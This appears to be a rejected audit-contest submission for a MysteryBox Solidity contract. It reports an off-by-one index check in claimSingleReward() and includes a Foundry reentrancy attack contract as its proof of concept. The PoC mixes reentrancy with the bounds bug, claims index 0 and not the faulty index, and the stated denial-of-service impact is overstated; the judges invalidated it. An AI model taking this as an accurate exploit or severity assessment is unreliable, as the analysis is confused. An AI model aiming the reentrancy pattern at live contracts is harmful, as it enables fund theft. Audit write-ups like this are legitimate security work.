Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Array Out-of-Bounds Vulnerability in claimSingleReward() Function

Vulnerability Summary

Target:
MysteryBox Smart Contract
Severity:
High
Vulnerability Type:
Array Out-of-Bounds Access
Contract Version:
Solidity 0.8.0

Vulnerability Introduction

The claimSingleReward() function in the MysteryBox contract is vulnerable to an array out-of-bounds access due to improper validation of the _index parameter. This vulnerability could lead to unintended behavior, including reverts and potential denial-of-service attacks if exploited, and affects users attempting to claim rewards.

the vulnerability exists in the following code from the claimSingleReward() function:

require(_index <= rewardsOwned[msg.sender].length, "Invalid index");

The comparison <= in this require() statement is incorrect because arrays in Solidity are 0-indexed. The valid indices for the array rewardsOwned[msg.sender] range from 0 to rewardsOwned[msg.sender].length - 1. By using <=, the function incorrectly allows access to an index that is out of bounds (i.e., when _index == rewardsOwned[msg.sender].length), which results in a runtime error and reverts the transaction with the following error:

panic: array out-of-bounds access (0x32)

Steps To Reproduce

The following exploit script demonstrates how a reentrancy attack combined with out-of-bounds access can lead to vulnerabilities in the claimSingleReward() function

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol"; // Assuming MysteryBox is in ../src
contract MaliciousContract {
MysteryBox public mysteryBox;
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
}
// Fallback function to execute reentrancy
fallback() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimSingleReward(0); // Attempt to claim the reward again
}
}
// Attack function to trigger reentrancy
function attack() external payable {
require(msg.value >= 0.1 ether, "Insufficient funds to start the attack");
mysteryBox.claimSingleReward(0); // Initiate the attack
}
// Function to receive Ether
receive() external payable {}
}
contract ReentrancyAttackTest is Test {
MysteryBox mysteryBox;
MaliciousContract malicious;
function setUp() public {
mysteryBox = new MysteryBox{value: 1 ether}();
mysteryBox.buyBox{value: 0.1 ether}();
// Add rewards to the pool
mysteryBox.addReward("Test Reward", 0.1 ether);
// Deploy malicious contract
malicious = new MaliciousContract(address(mysteryBox));
// Fund the malicious contract
payable(address(malicious)).transfer(0.1 ether);
}
function testReentrancyAttack() public {
// The malicious contract tries to trigger reentrancy
malicious.attack{value: 0.1 ether}();
// Verify the contract balance after the attack
assertGt(address(malicious).balance, 0, "Attack failed, no funds received");
// Additional assertions to confirm array out-of-bounds
vm.expectRevert(); // We expect the contract to revert due to the array out-of-bounds issue
mysteryBox.claimSingleReward(0); // Try to claim a reward after attack
}
}

After preparing the script, run the following command to reproduce the issue and observe the error:

forge test --mt testReentrancyAttack -vvv

When the test reaches the claimSingleReward() function, you will encounter the following error:

panic: array out-of-bounds access (0x32)

This error indicates the array is being accessed beyond its valid bounds, confirming the vulnerability.

Impact

  • Any attempt to claim a reward at an out-of-bounds index will cause the transaction to fail, potentially leading to user frustration and loss of gas fees.

  • A malicious user can repeatedly invoke this function with an out-of-bounds index, causing constant reverts and a potential denial of service for users attempting to interact with the contract.

Recommended Fix:

Replace the <= comparison with < to prevent out-of-bounds access:

require(_index < rewardsOwned[msg.sender].length, "Invalid index");
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!